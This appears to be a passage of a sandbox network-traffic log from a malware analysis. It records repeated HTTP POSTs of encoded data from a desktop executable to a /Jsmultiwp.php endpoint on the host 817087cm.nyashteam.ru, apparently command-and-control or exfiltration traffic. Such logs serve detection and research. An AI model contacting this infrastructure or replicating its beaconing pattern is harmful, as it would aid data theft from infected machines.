Dec 10, 2024 19:01:07.510456085 CET	2528	OUT	Data Raw: 55 55 5d 59 5d 5b 55 50 5c 56 5b 59 50 54 5a 59 50 54 59 59 50 5a 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UU]Y][UP\V[YPTZYPTYYPZSZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#]20-X+?8"+)%^"<3/]&;48[;?#_ 1?/$_" X(
Dec 10, 2024 19:01:08.271483898 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:08.740499020 CET	811	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1JH%2BVik0k2Da0AEnajvKggcICSWeiozXMbvVcDkrKoK25AUDdcHmrXsURPVYaATqRDX0L9xk8BVhou7ruGygaYfMZ6sCp1ofogU175X0%2FP%2F1dIb3c5jHlAyEX4L7ewaEFOCxWY2HM24%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2371bfeb438a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9135&min_rtt=2295&rtt_var=14542&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=25604&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:08.977842093 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue
Dec 10, 2024 19:01:09.322974920 CET	1856	OUT	Data Raw: 55 5b 5d 5f 5d 56 55 56 5c 56 5b 59 50 5e 5a 58 50 5b 59 59 50 5d 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U[]_]VUV\V[YP^ZXP[YYP]S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y2 2+8X6'>7&4($?2]%T#(Z;?$!'T8$_" X(/
Dec 10, 2024 19:01:10.064294100 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:10.322381020 CET	964	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKsrspuU3ZSR%2BpB4%2BJc9bT8Q%2FqQzeJqo5rTah24vXzJ6Chw5xPCBehXZFP7VCpoOO9dzTvn3OcWfByD00ATFvaLbwdeO2lwd2%2BZWyuDz72xtNdSd%2FSZBNPsCkOrkFoaVwo5rvBzQ2kA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff237cef33c3f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3152&min_rtt=1665&rtt_var=3600&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2155&delivery_rate=107614&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 5b 20 28 34 0e 21 31 21 5c 2d 39 20 59 39 28 2f 5f 3a 38 32 06 22 29 39 01 2e 05 2d 01 3d 3b 05 10 32 0c 36 59 25 26 3e 08 2a 34 28 51 06 1c 26 04 25 29 36 50 3f 3f 25 13 27 2d 01 06 28 24 21 16 29 3e 0a 0e 22 3b 1d 02 32 5b 3b 16 28 59 2e 0f 30 02 2a 1c 2c 0a 22 07 31 3d 2a 51 00 16 21 55 28 0f 33 02 22 33 25 0b 22 32 16 5e 2b 26 24 04 30 04 23 0f 24 12 3e 5d 25 3f 27 58 33 01 29 54 33 3c 0e 07 20 01 3b 55 31 09 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'[ (4!1!\-9 Y9(/_:82")9.-=;26Y%&>4(Q&%)6P??%'-($!)>";2[;(Y.0,"1=*Q!U(3"3%"2^+&$0#$>]%?'X3)T3< ;U1#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:08.995384932 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:09.354439020 CET	2528	OUT	Data Raw: 55 5d 58 58 58 5d 55 53 5c 56 5b 59 50 5c 5a 5f 50 55 59 5d 50 58 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]XXX]US\V[YP\Z_PUY]PXS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&U1=/<6 $ 4'8<%9V4,<58,$_" X('
Dec 10, 2024 19:01:10.081173897 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:10.574063063 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b8mTAJX4J2D95qbDY6Jbssy%2FxLJIqam0AJb2CkqSFk%2FMlg4wRmp6h5KYoaeLqdn%2B2ApDe6%2BiMU1I%2BOS8JJQ1Nge%2FLUpL9mbjdViyqz5lI%2BjTdOfU5ag23vlXTbNaAJgT2Tygpdx968M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff237d082543a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3099&min_rtt=1780&rtt_var=3306&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=118362&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49763	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:10.816416979 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2520 Expect: 100-continue
Dec 10, 2024 19:01:11.166711092 CET	2520	OUT	Data Raw: 55 5e 5d 53 58 5c 55 56 5c 56 5b 59 50 5d 5a 5c 50 5b 59 5c 50 5c 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^]SX\UV\V[YP]Z\P[Y\P\SY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y&05X<67A)4%^ ?#Y%(?%)#+![;'6'W;$_" X(7
Dec 10, 2024 19:01:11.940903902 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:12.249614954 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Izbx6%2BHm%2BBCOtDTpLGmTwQa46HB7fzePOi2x%2BNLiMOUAUJsZ14IjDCm%2FElJ45IjZ3VLe83t%2Bsz8D3U9yzTKgbrGocizGFVNhbc64iRHqX5fL8L5tu938kO3NsSdsZHD4jc0u0%2BNnQMs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2388aff7728f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21687&min_rtt=18431&rtt_var=13424&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2819&delivery_rate=32821&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:12.603792906 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:12.960442066 CET	2528	OUT	Data Raw: 55 5c 58 5d 58 5a 55 54 5c 56 5b 59 50 5a 5a 5d 50 55 59 5b 50 55 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\X]XZUT\V[YPZZ]PUY[PUSZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#10*<<0X!8B=B-^#?;';$2;:48--?'5!/+$_" X(
Dec 10, 2024 19:01:13.706166029 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:13.956995010 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3BlV33AqFkxyE9SOGApCJMkhQoPd14igFAmj65qUofo%2Fy6ZM6L2kJcVnl7cLKwYC9WECgJCUWgo9xBgHJZ%2FNlVJV3M1KvQXBQrc52T4HhzwAIKygZrT%2F1IqyUTHFW4kHRDHc6HSb4H0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2393af434408-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4388&min_rtt=2030&rtt_var=5478&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=69866&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49766	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:14.212498903 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:14.557286978 CET	2528	OUT	Data Raw: 50 5f 58 5e 58 5b 55 50 5c 56 5b 59 50 54 5a 58 50 59 59 5d 50 5f 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P_X^X[UP\V[YPTZXPYY]P_S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y&2(+67$*![ ?7[$8$1(9U4;),,#";U/$_" X(
Dec 10, 2024 19:01:15.298912048 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49772	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:15.512402058 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:15.876461983 CET	1856	OUT	Data Raw: 55 55 5d 59 5d 5c 55 57 5c 56 5b 59 50 5a 5a 5c 50 59 59 5a 50 58 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UU]Y]\UW\V[YPZZ\PYYZPXS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'3"<0X"'*$)^4Z?$,1>#+5Y8< 1/$_" X(
Dec 10, 2024 19:01:16.835210085 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:17.197727919 CET	964	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1IPZjHwdzdgvacfRD58R5NCvdGLKZl0sjmmmVCjT%2FBhEWqsYS6BplVuIaTQ6X8mQZmyhlKTncz744aXogCN9ccA%2BmjmPWfFaw%2BmT9dHvLBFWdWGQu%2Fg3xVOj3qyFvnQkhn1TrXkIgI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23a73e374349-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27260&min_rtt=23142&rtt_var=16915&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=26028&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 5b 37 5d 28 08 21 0b 32 01 3a 17 05 02 2e 01 2c 01 39 38 3a 06 35 5f 22 5e 2d 3f 3d 07 28 3b 27 5f 31 22 2a 5a 25 26 0c 09 2a 1e 28 51 06 1c 25 17 27 29 35 0a 3c 06 21 5e 25 2e 20 5a 2a 34 3e 07 29 00 23 1b 37 05 12 5d 25 03 01 1b 28 11 32 0c 33 2f 3d 0b 3b 30 21 5f 25 2d 2a 51 00 16 21 53 2b 31 15 03 20 20 2e 11 21 31 3b 06 3c 1c 33 5d 27 03 0a 1c 30 3c 26 10 25 3c 2b 5c 25 2f 31 1e 24 05 33 5d 20 3f 2c 09 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'[7](!2:.,98:5_"^-?=(;'_1"Z%&(Q%')5<!^%. Z4>)#7]%(23/=;0!_%-Q!S+1 .!1;<3]'0<&%<+\%/1$3] ?,'3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49773	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:16.049098969 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:16.401041985 CET	2528	OUT	Data Raw: 55 59 58 5f 58 5c 55 52 5c 56 5b 59 50 5f 5a 50 50 5d 59 54 50 54 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UYX_X\UR\V[YP_ZPP]YTPTS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#&0!?<X#'0B=B"#,438(%;* 8&,$62;U;$_" X(+
Dec 10, 2024 19:01:17.234280109 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:17.526765108 CET	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2FJUvxnFQBPXgP02Mwu%2Fo3pL%2BnuMuMfj1kKkMXZqt%2B4Lv%2FNUjjf65ldJ8RU0S83UhOVcR3mO%2FC3gj5vSjbgkPZXf%2BD4j8ndVZcyxlHGrRG6jT65ZeqpTdlKoQZeAbpzjTm73MCa%2BMGI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23a9be2d439f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=26435&min_rtt=23325&rtt_var=14967&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=30286&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49774	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:17.778248072 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:18.135488987 CET	2528	OUT	Data Raw: 50 58 58 5a 5d 57 55 52 5c 56 5b 59 50 5a 5a 5c 50 5e 59 5d 50 5a 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PXXZ]WUR\V[YPZZ\P^Y]PZSZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\1!X=<6$ C)7:"?$0+8$+%Q#(2;!1/T/+$_" X(
Dec 10, 2024 19:01:18.920631886 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:19.229705095 CET	804	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvZbcGQWe2rXaYcdQXCo8HOyR6jAWODvBDG881O1DfesQOGbT0JJkKSRllQoJDLT0lyzy5KPDRrIlrZnBayuxcPxzhx7VD0ehR7wL7zovmf6j7olmEGI452g5oaj6vlxbOXrN55IXpA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23b44dee1780-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3607&min_rtt=1704&rtt_var=4446&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=86211&cwnd=169&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49780	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:19.496155024 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:19.854317904 CET	2528	OUT	Data Raw: 55 5a 58 59 58 5b 50 56 5c 56 5b 59 50 5a 5a 5a 50 58 59 58 50 5b 53 54 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZXYX[PV\V[YPZZZPXYXP[ST_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y1%](<<Y57<@)B%4'+#\%;=";-]/?4514.+$_" X(
Dec 10, 2024 19:01:20.665216923 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:21.475963116 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WmDf3DoV8bjKwrQ%2FggWBqS7M7oxI3NBD4NiPtRI1GVgpPnpXnD2SLnDyhe9BPU7NZq36HLDdTS8kVmAbRMMcR%2BLWcLKnXKDQYrn0cwVEfEnX2egfZ4oOiezGEHGSjfR4FRpYN%2BYQhr4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23bf399142cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4339&min_rtt=1800&rtt_var=5753&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=66018&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49786	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:21.728382111 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
